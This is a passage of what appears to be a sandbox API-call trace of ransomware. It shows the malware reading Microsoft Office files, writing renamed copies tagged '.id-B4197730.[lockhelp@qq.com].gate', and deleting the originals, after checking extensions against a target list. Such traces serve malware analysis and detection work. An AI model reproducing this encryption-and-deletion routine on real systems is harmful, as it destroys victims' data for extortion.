lpBuffer=0x46fd020*, nNumberOfBytesToWrite=0xb550, lpNumberOfBytesWritten=0x3b3fc94, lpOverlapped=0x0 | out: lpBuffer=0x46fd020*, lpNumberOfBytesWritten=0x3b3fc94*=0xb550, lpOverlapped=0x0) returned 1 [0302.555] ReadFile (in: hFile=0x528, lpBuffer=0x46fd020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x3b3fecc, lpOverlapped=0x0 | out: lpBuffer=0x46fd020*, lpNumberOfBytesRead=0x3b3fecc*=0x0, lpOverlapped=0x0) returned 1 [0302.555] WriteFile (in: hFile=0x4f4, lpBuffer=0x46fd020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x3b3fc94, lpOverlapped=0x0 | out: lpBuffer=0x46fd020*, lpNumberOfBytesWritten=0x3b3fc94*=0xf2, lpOverlapped=0x0) returned 1 [0302.555] SetEndOfFile (hFile=0x4f4) returned 1 [0302.658] CloseHandle (hObject=0x4f4) returned 1 [0302.660] SetFilePointerEx (in: hFile=0x528, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3b3fec0 | out: lpNewFilePointer=0x0) returned 1 [0302.660] SetEndOfFile (hFile=0x528) returned 1 [0302.663] CloseHandle (hObject=0x528) returned 1 [0302.663] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Milk Glass.eftx.id-B4197730.[lockhelp@qq.com].gate", dwFileAttributes=0x220) returned 1 [0302.663] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Milk Glass.eftx" (normalized: "c:\\program files\\microsoft office\\root\\document themes 16\\theme effects\\milk glass.eftx")) returned 1 [0302.664] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Milk Glass.eftx") returned 87 [0302.664] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Milk Glass.eftx") returned 87 [0302.664] lstrlenW (lpString=".doc") returned 4 [0302.664] lstrcmpiW (lpString1=".doc", lpString2="eftx") returned -1 [0302.664] lstrlenW (lpString=".docx") returned 5 [0302.664] lstrcmpiW (lpString1=".docx", lpString2=".eftx") returned -1 [0302.664] lstrlenW (lpString=".pdf") returned 4 [0302.664] lstrcmpiW (lpString1=".pdf", lpString2="eftx") returned -1 [0302.664] lstrlenW (lpString=".xls") returned 4 [0302.664] lstrcmpiW (lpString1=".xls", lpString2="eftx") returned -1 [0302.664] lstrlenW (lpString=".xlsx") returned 5 [0302.664] lstrcmpiW (lpString1=".xlsx", lpString2=".eftx") returned 1 [0302.664] lstrlenW (lpString=".ppt") returned 4 [0302.664] lstrcmpiW (lpString1=".ppt", lpString2="eftx") returned -1 [0302.664] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Milk Glass.eftx") returned 87 [0302.664] lstrlenW (lpString=".zip") returned 4 [0302.664] lstrcmpiW (lpString1=".zip", lpString2="eftx") returned -1 [0302.664] lstrlenW (lpString=".rar") returned 4 [0302.665] lstrcmpiW (lpString1=".rar", lpString2="eftx") returned -1 [0302.665] lstrlenW (lpString=".bz2") returned 4 [0302.665] lstrcmpiW (lpString1=".bz2", lpString2="eftx") returned -1 [0302.665] lstrlenW (lpString=".7z") returned 3 [0302.665] lstrcmpiW (lpString1=".7z", lpString2="ftx") returned -1 [0302.665] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Milk Glass.eftx") returned 87 [0302.665] lstrlenW (lpString=".dbf") returned 4 [0302.665] lstrcmpiW (lpString1=".dbf", lpString2="eftx") returned -1 [0302.665] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Milk Glass.eftx") returned 87 [0302.665] lstrlenW (lpString=".1cd") returned 4 [0302.665] lstrcmpiW (lpString1=".1cd", lpString2="eftx") returned -1 [0302.665] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Milk Glass.eftx") returned 87 [0302.665] lstrlenW (lpString=".jpg") returned 4 [0302.665] lstrcmpiW (lpString1=".jpg", lpString2="eftx") returned -1 [0302.665] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Milk Glass.eftx") returned 87 [0302.665] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Milk Glass.eftx") returned 87 [0302.665] lstrlenW (lpString=".doc") returned 4 [0302.665] lstrcmpiW (lpString1=".doc", lpString2="eftx") returned -1 [0302.665] lstrlenW (lpString=".docx") returned 5 [0302.665] lstrcmpiW (lpString1=".docx", lpString2=".eftx") returned -1 [0302.665] lstrlenW (lpString=".pdf") returned 4 [0302.665] lstrcmpiW (lpString1=".pdf", lpString2="eftx") returned -1 [0302.665] lstrlenW (lpString=".xls") returned 4 [0302.665] lstrcmpiW (lpString1=".xls", lpString2="eftx") returned -1 [0302.665] lstrlenW (lpString=".xlsx") returned 5 [0302.665] lstrcmpiW (lpString1=".xlsx", lpString2=".eftx") returned 1 [0302.665] lstrlenW (lpString=".ppt") returned 4 [0302.665] lstrcmpiW (lpString1=".ppt", lpString2="eftx") returned -1 [0302.665] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Milk Glass.eftx") returned 87 [0302.665] lstrlenW (lpString=".zip") returned 4 [0302.665] lstrcmpiW (lpString1=".zip", lpString2="eftx") returned -1 [0302.665] lstrlenW (lpString=".rar") returned 4 [0302.665] lstrcmpiW (lpString1=".rar", lpString2="eftx") returned -1 [0302.666] lstrlenW (lpString=".bz2") returned 4 [0302.666] lstrcmpiW (lpString1=".bz2", lpString2="eftx") returned -1 [0302.666] lstrlenW (lpString=".7z") returned 3 [0302.666] lstrcmpiW (lpString1=".7z", lpString2="ftx") returned -1 [0302.666] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Milk Glass.eftx") returned 87 [0302.666] lstrlenW (lpString=".dbf") returned 4 [0302.666] lstrcmpiW (lpString1=".dbf", lpString2="eftx") returned -1 [0302.666] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Milk Glass.eftx") returned 87 [0302.666] lstrlenW (lpString=".1cd") returned 4 [0302.666] lstrcmpiW (lpString1=".1cd", lpString2="eftx") returned -1 [0302.666] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Milk Glass.eftx") returned 87 [0302.666] lstrlenW (lpString=".jpg") returned 4 [0302.666] lstrcmpiW (lpString1=".jpg", lpString2="eftx") returned -1 [0302.666] lstrcmpiW (lpString1=".eftx", lpString2=".gate") returned -1 [0302.666] lstrlenW (lpString="Reflection.eftx") returned 15 [0302.666] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Reflection.eftx" (normalized: "c:\\program files\\microsoft office\\root\\document themes 16\\theme effects\\reflection.eftx"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x528 [0302.667] GetFileSizeEx (in: hFile=0x528, lpFileSize=0x3b3ff14 | out: lpFileSize=0x3b3ff14*=48366) returned 1 [0302.667] CloseHandle (hObject=0x528) returned 1 [0302.667] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Reflection.eftx" (normalized: "c:\\program files\\microsoft office\\root\\document themes 16\\theme effects\\reflection.eftx")) returned 0x220 [0302.667] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Reflection.eftx.id-B4197730.[lockhelp@qq.com].gate" (normalized: "c:\\program files\\microsoft office\\root\\document themes 16\\theme effects\\reflection.eftx.id-b4197730.[lockhelp@qq.com].gate")) returned 0xffffffff [0302.667] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Reflection.eftx" (normalized: "c:\\program files\\microsoft office\\root\\document themes 16\\theme effects\\reflection.eftx"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x528 [0302.668] SetFilePointerEx (in: hFile=0x528, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3b3fec0 | out: lpNewFilePointer=0x0) returned 1 [0302.668] SetFilePointerEx (in: hFile=0x528, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3b3fec0 | out: lpNewFilePointer=0x0) returned 1 [0302.668] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Reflection.eftx.id-B4197730.[lockhelp@qq.com].gate" (normalized: "c:\\program files\\microsoft office\\root\\document themes 16\\theme effects\\reflection.eftx.id-b4197730.[lockhelp@qq.com].gate"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4f4 [0302.668] GetLastError () returned 0x0 [0302.668] ReadFile (in: hFile=0x528, lpBuffer=0x46fd020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x3b3fecc, lpOverlapped=0x0 | out: lpBuffer=0x46fd020*, lpNumberOfBytesRead=0x3b3fecc*=0xbcee, lpOverlapped=0x0) returned 1 [0302.811] WriteFile (in: hFile=0x4f4, lpBuffer=0x46fd020*, nNumberOfBytesToWrite=0xbcf0, lpNumberOfBytesWritten=0x3b3fc94, lpOverlapped=0x0 | out: lpBuffer=0x46fd020*, lpNumberOfBytesWritten=0x3b3fc94*=0xbcf0, lpOverlapped=0x0) returned 1 [0302.812] ReadFile (in: hFile=0x528, lpBuffer=0x46fd020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x3b3fecc, lpOverlapped=0x0 | out: lpBuffer=0x46fd020*, lpNumberOfBytesRead=0x3b3fecc*=0x0, lpOverlapped=0x0) returned 1 [0302.812] WriteFile (in: hFile=0x4f4, lpBuffer=0x46fd020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x3b3fc94, lpOverlapped=0x0 | out: lpBuffer=0x46fd020*, lpNumberOfBytesWritten=0x3b3fc94*=0xf2, lpOverlapped=0x0) returned 1 [0302.813] SetEndOfFile (hFile=0x4f4) returned 1 [0302.813] CloseHandle (hObject=0x4f4) returned 1 [0302.813] SetFilePointerEx (in: hFile=0x528, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3b3fec0 | out: lpNewFilePointer=0x0) returned 1 [0302.813] SetEndOfFile (hFile=0x528) returned 1 [0302.869] CloseHandle (hObject=0x528) returned 1 [0302.869] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Reflection.eftx.id-B4197730.[lockhelp@qq.com].gate", dwFileAttributes=0x220) returned 1 [0302.869] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Reflection.eftx" (normalized: "c:\\program files\\microsoft office\\root\\document themes 16\\theme effects\\reflection.eftx")) returned 1 [0302.870] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Reflection.eftx") returned 87 [0302.870] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Reflection.eftx") returned 87 [0302.870] lstrlenW (lpString=".doc") returned 4 [0302.870] lstrcmpiW (lpString1=".doc", lpString2="eftx") returned -1 [0302.870] lstrlenW (lpString=".docx") returned 5 [0302.870] lstrcmpiW (lpString1=".docx", lpString2=".eftx") returned -1 [0302.870] lstrlenW (lpString=".pdf") returned 4 [0302.870] lstrcmpiW (lpString1=".pdf", lpString2="eftx") returned -1 [0302.870] lstrlenW (lpString=".xls") returned 4 [0302.870] lstrcmpiW (lpString1=".xls", lpString2="eftx") returned -1 [0302.870] lstrlenW (lpString=".xlsx") returned 5 [0302.870] lstrcmpiW (lpString1=".xlsx", lpString2=".eftx") returned 1 [0302.870] lstrlenW (lpString=".ppt") returned 4 [0302.870] lstrcmpiW (lpString1=".ppt", lpString2="eftx") returned -1 [0302.870] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Reflection.eftx") returned 87 [0302.870] lstrlenW (lpString=".zip") returned 4 [0302.870] lstrcmpiW (lpString1=".zip", lpString2="eftx") returned -1 [0302.870] lstrlenW (lpString=".rar") returned 4 [0302.870] lstrcmpiW (lpString1=".rar", lpString2="eftx") returned -1 [0302.870] lstrlenW (lpString=".bz2") returned 4 [0302.871] lstrcmpiW (lpString1=".bz2", lpString2="eftx") returned -1 [0302.871] lstrlenW (lpString=".7z") returned 3 [0302.871] lstrcmpiW (lpString1=".7z", lpString2="ftx") returned -1 [0302.871] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Reflection.eftx") returned 87 [0302.871] lstrlenW (lpString=".dbf") returned 4 [0302.871] lstrcmpiW (lpString1=".dbf", lpString2="eftx") returned -1 [0302.871] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Reflection.eftx") returned 87 [0302.871] lstrlenW (lpString=".1cd") returned 4 [0302.871] lstrcmpiW (lpString1=".1cd", lpString2="eftx") returned -1 [0302.871] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Reflection.eftx") returned 87 [0302.871] lstrlenW (lpString=".jpg") returned 4 [0302.871] lstrcmpiW (lpString1=".jpg", lpString2="eftx") returned -1 [0302.871] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Reflection.eftx") returned 87 [0302.871] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Reflection.eftx") returned 87 [0302.871] lstrlenW (lpString=".doc") returned 4 [0302.871] lstrcmpiW (lpString1=".doc", lpString2="eftx") returned -1 [0302.871] lstrlenW (lpString=".docx") returned 5 [0302.871] lstrcmpiW (lpString1=".docx", lpString2=".eftx") returned -1 [0302.871] lstrlenW (lpString=".pdf") returned 4 [0302.871] lstrcmpiW (lpString1=".pdf", lpString2="eftx") returned -1 [0302.871] lstrlenW (lpString=".xls") returned 4 [0302.871] lstrcmpiW (lpString1=".xls", lpString2="eftx") returned -1 [0302.871] lstrlenW (lpString=".xlsx") returned 5 [0302.871] lstrcmpiW (lpString1=".xlsx", lpString2=".eftx") returned 1 [0302.871] lstrlenW (lpString=".ppt") returned 4 [0302.871] lstrcmpiW (lpString1=".ppt", lpString2="eftx") returned -1 [0302.871] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Reflection.eftx") returned 87 [0302.871] lstrlenW (lpString=".zip") returned 4 [0302.871] lstrcmpiW (lpString1=".zip", lpString2="eftx") returned -1 [0302.871] lstrlenW (lpString=".rar") returned 4 [0302.871] lstrcmpiW (lpString1=".rar", lpString2="eftx") returned -1 [0302.871] lstrlenW (lpString=".bz2") returned 4 [0302.871] lstrcmpiW (lpString1=".bz2", lpString2="eftx") returned -1 [0302.872] lstrlenW (lpString=".7z") returned 3 [0302.872] lstrcmpiW (lpString1=".7z", lpString2="ftx") returned -1 [0302.872] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Reflection.eftx") returned 87 [0302.872] lstrlenW (lpString=".dbf") returned 4 [0302.872] lstrcmpiW (lpString1=".dbf", lpString2="eftx") returned -1 [0302.872] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Reflection.eftx") returned 87 [0302.872] lstrlenW (lpString=".1cd") returned 4 [0302.872] lstrcmpiW (lpString1=".1cd", lpString2="eftx") returned -1 [0302.872] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Reflection.eftx") returned 87 [0302.872] lstrlenW (lpString=".jpg") returned 4 [0302.872] lstrcmpiW (lpString1=".jpg", lpString2="eftx") returned -1 [0302.872] lstrcmpiW (lpString1=".eftx", lpString2=".gate") returned -1 [0302.872] lstrlenW (lpString="Top Shadow.eftx") returned 15 [0302.872] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Top Shadow.eftx" (normalized: "c:\\program files\\microsoft office\\root\\document themes 16\\theme effects\\top shadow.eftx"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x528 [0302.874] GetFileSizeEx (in: hFile=0x528, lpFileSize=0x3b3ff14 | out: lpFileSize=0x3b3ff14*=56944) returned 1 [0302.874] CloseHandle (hObject=0x528) returned 1 [0302.874] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Top Shadow.eftx" (normalized: "c:\\program files\\microsoft office\\root\\document themes 16\\theme effects\\top shadow.eftx")) returned 0x220 [0302.874] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Top Shadow.eftx.id-B4197730.[lockhelp@qq.com].gate" (normalized: "c:\\program files\\microsoft office\\root\\document themes 16\\theme effects\\top shadow.eftx.id-b4197730.[lockhelp@qq.com].gate")) returned 0xffffffff [0302.874] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Top Shadow.eftx" (normalized: "c:\\program files\\microsoft office\\root\\document themes 16\\theme effects\\top shadow.eftx"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x528 [0302.874] SetFilePointerEx (in: hFile=0x528, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3b3fec0 | out: lpNewFilePointer=0x0) returned 1 [0302.874] SetFilePointerEx (in: hFile=0x528, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3b3fec0 | out: lpNewFilePointer=0x0) returned 1 [0302.875] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Top Shadow.eftx.id-B4197730.[lockhelp@qq.com].gate" (normalized: "c:\\program files\\microsoft office\\root\\document themes 16\\theme effects\\top shadow.eftx.id-b4197730.[lockhelp@qq.com].gate"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x414 [0302.875] GetLastError () returned 0x0 [0302.875] ReadFile (in: hFile=0x528, lpBuffer=0x46fd020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x3b3fecc, lpOverlapped=0x0 | out: lpBuffer=0x46fd020*, lpNumberOfBytesRead=0x3b3fecc*=0xde70, lpOverlapped=0x0) returned 1 [0303.044] WriteFile (in: hFile=0x414, lpBuffer=0x46fd020*, nNumberOfBytesToWrite=0xde80, lpNumberOfBytesWritten=0x3b3fc94, lpOverlapped=0x0 | out: lpBuffer=0x46fd020*, lpNumberOfBytesWritten=0x3b3fc94*=0xde80, lpOverlapped=0x0) returned 1 [0303.046] ReadFile (in: hFile=0x528, lpBuffer=0x46fd020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x3b3fecc, lpOverlapped=0x0 | out: lpBuffer=0x46fd020*, lpNumberOfBytesRead=0x3b3fecc*=0x0, lpOverlapped=0x0) returned 1 [0303.046] WriteFile (in: hFile=0x414, lpBuffer=0x46fd020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x3b3fc94, lpOverlapped=0x0 | out: lpBuffer=0x46fd020*, lpNumberOfBytesWritten=0x3b3fc94*=0xf2, lpOverlapped=0x0) returned 1 [0303.046] SetEndOfFile (hFile=0x414) returned 1 [0303.046] CloseHandle (hObject=0x414) returned 1 [0303.046] SetFilePointerEx (in: hFile=0x528, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3b3fec0 | out: lpNewFilePointer=0x0) returned 1 [0303.046] SetEndOfFile (hFile=0x528) returned 1 [0303.051] CloseHandle (hObject=0x528) returned 1 [0303.051] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Top Shadow.eftx.id-B4197730.[lockhelp@qq.com].gate", dwFileAttributes=0x220) returned 1 [0303.052] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Top Shadow.eftx" (normalized: "c:\\program files\\microsoft office\\root\\document themes 16\\theme effects\\top shadow.eftx")) returned 1 [0303.052] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Top Shadow.eftx") returned 87 [0303.053] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Top Shadow.eftx") returned 87 [0303.053] lstrlenW (lpString=".doc") returned 4 [0303.053] lstrcmpiW (lpString1=".doc", lpString2="eftx") returned -1 [0303.053] lstrlenW (lpString=".docx") returned 5 [0303.053] lstrcmpiW (lpString1=".docx", lpString2=".eftx") returned -1 [0303.053] lstrlenW (lpString=".pdf") returned 4 [0303.053] lstrcmpiW (lpString1=".pdf", lpString2="eftx") returned -1 [0303.053] lstrlenW (lpString=".xls") returned 4 [0303.053] lstrcmpiW (lpString1=".xls", lpString2="eftx") returned -1 [0303.053] lstrlenW (lpString=".xlsx") returned 5 [0303.053] lstrcmpiW (lpString1=".xlsx", lpString2=".eftx") returned 1 [0303.053] lstrlenW (lpString=".ppt") returned 4 [0303.053] lstrcmpiW (lpString1=".ppt", lpString2="eftx") returned -1 [0303.053] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Top Shadow.eftx") returned 87 [0303.053] lstrlenW (lpString=".zip") returned 4 [0303.053] lstrcmpiW (lpString1=".zip", lpString2="eftx") returned -1 [0303.053] lstrlenW (lpString=".rar") returned 4 [0303.053] lstrcmpiW (lpString1=".rar", lpString2="eftx") returned -1 [0303.053] lstrlenW (lpString=".bz2") returned 4 [0303.053] lstrcmpiW (lpString1=".bz2", lpString2="eftx") returned -1 [0303.053] lstrlenW (lpString=".7z") returned 3 [0303.053] lstrcmpiW (lpString1=".7z", lpString2="ftx") returned -1 [0303.053] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Top Shadow.eftx") returned 87 [0303.053] lstrlenW (lpString=".dbf") returned 4 [0303.053] lstrcmpiW (lpString1=".dbf", lpString2="eftx") returned -1 [0303.053] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Top Shadow.eftx") returned 87 [0303.053] lstrlenW (lpString=".1cd") returned 4 [0303.053] lstrcmpiW (lpString1=".1cd", lpString2="eftx") returned -1 [0303.054] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Top Shadow.eftx") returned 87 [0303.054] lstrlenW (lpString=".jpg") returned 4 [0303.054] lstrcmpiW (lpString1=".jpg", lpString2="eftx") returned -1 [0303.054] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Top Shadow.eftx") returned 87 [0303.054] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Top Shadow.eftx") returned 87 [0303.054] lstrlenW (lpString=".doc") returned 4 [0303.054] lstrcmpiW (lpString1=".doc", lpString2="eftx") returned -1 [0303.054] lstrlenW (lpString=".docx") returned 5 [0303.054] lstrcmpiW (lpString1=".docx", lpString2=".eftx") returned -1 [0303.054] lstrlenW (lpString=".pdf") returned 4 [0303.054] lstrcmpiW (lpString1=".pdf", lpString2="eftx") returned -1 [0303.054] lstrlenW (lpString=".xls") returned 4 [0303.054] lstrcmpiW (lpString1=".xls", lpString2="eftx") returned -1 [0303.054] lstrlenW (lpString=".xlsx") returned 5 [0303.054] lstrcmpiW (lpString1=".xlsx", lpString2=".eftx") returned 1 [0303.054] lstrlenW (lpString=".ppt") returned 4 [0303.054] lstrcmpiW (lpString1=".ppt", lpString2="eftx") returned -1 [0303.054] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Top Shadow.eftx") returned 87 [0303.054] lstrlenW (lpString=".zip") returned 4 [0303.054] lstrcmpiW (lpString1=".zip", lpString2="eftx") returned -1 [0303.054] lstrlenW (lpString=".rar") returned 4 [0303.054] lstrcmpiW (lpString1=".rar", lpString2="eftx") returned -1 [0303.054] lstrlenW (lpString=".bz2") returned 4 [0303.054] lstrcmpiW (lpString1=".bz2", lpString2="eftx") returned -1 [0303.055] lstrlenW (lpString=".7z") returned 3 [0303.055] lstrcmpiW (lpString1=".7z", lpString2="ftx") returned -1 [0303.055] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Top Shadow.eftx") returned 87 [0303.055] lstrlenW (lpString=".dbf") returned 4 [0303.055] lstrcmpiW (lpString1=".dbf", lpString2="eftx") returned -1 [0303.055] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Top Shadow.eftx") returned 87 [0303.055] lstrlenW (lpString=".1cd") returned 4 [0303.055] lstrcmpiW (lpString1=".1cd", lpString2="eftx") returned -1 [0303.055] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Top Shadow.eftx") returned 87 [0303.055] lstrlenW (lpString=".jpg") returned 4 [0303.055] lstrcmpiW (lpString1=".jpg", lpString2="eftx") returned -1 [0303.055] lstrcmpiW (lpString1=".dll", lpString2=".gate") returned -1 [0303.055] lstrlenW (lpString="api-ms-win-core-processthreads-l1-1-1.dll") returned 41 [0303.055] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Flattener\\api-ms-win-core-processthreads-l1-1-1.dll" (normalized: "c:\\program files\\microsoft office\\root\\flattener\\api-ms-win-core-processthreads-l1-1-1.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x538 [0303.686] GetFileSizeEx (in: hFile=0x538, lpFileSize=0x3b3ff14 | out: lpFileSize=0x3b3ff14*=19136) returned 1 [0303.686] CloseHandle (hObject=0x538) returned 1 [0303.686] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Flattener\\api-ms-win-core-processthreads-l1-1-1.dll" (normalized: "c:\\program files\\microsoft office\\root\\flattener\\api-ms-win-core-processthreads-l1-1-1.dll")) returned 0x220 [0303.686] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Flattener\\api-ms-win-core-processthreads-l1-1-1.dll.id-B4197730.[lockhelp@qq.com].gate" (normalized: "c:\\program files\\microsoft office\\root\\flattener\\api-ms-win-core-processthreads-l1-1-1.dll.id-b4197730.[lockhelp@qq.com].gate")) returned 0xffffffff [0303.927] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Flattener\\api-ms-win-core-processthreads-l1-1-1.dll" (normalized: "c:\\program files\\microsoft office\\root\\flattener\\api-ms-win-core-processthreads-l1-1-1.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0303.927] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\api-ms-win-core-processthreads-l1-1-1.dll") returned 90 [0303.927] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\api-ms-win-core-processthreads-l1-1-1.dll") returned 90 [0303.927] lstrlenW (lpString=".doc") returned 4 [0303.927] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0303.927] lstrlenW (lpString=".docx") returned 5 [0303.927] lstrcmpiW (lpString1=".docx", lpString2="1.dll") returned -1 [0303.927] lstrlenW (lpString=".pdf") returned 4 [0303.927] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0303.927] lstrlenW (lpString=".xls") returned 4 [0303.928] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0303.928] lstrlenW (lpString=".xlsx") returned 5 [0303.928] lstrcmpiW (lpString1=".xlsx", lpString2="1.dll") returned -1 [0303.928] lstrlenW (lpString=".ppt") returned 4 [0303.928] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0303.928] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\api-ms-win-core-processthreads-l1-1-1.dll") returned 90 [0303.928] lstrlenW (lpString=".zip") returned 4 [0303.928] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0303.928] lstrlenW (lpString=".rar") returned 4 [0303.928] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 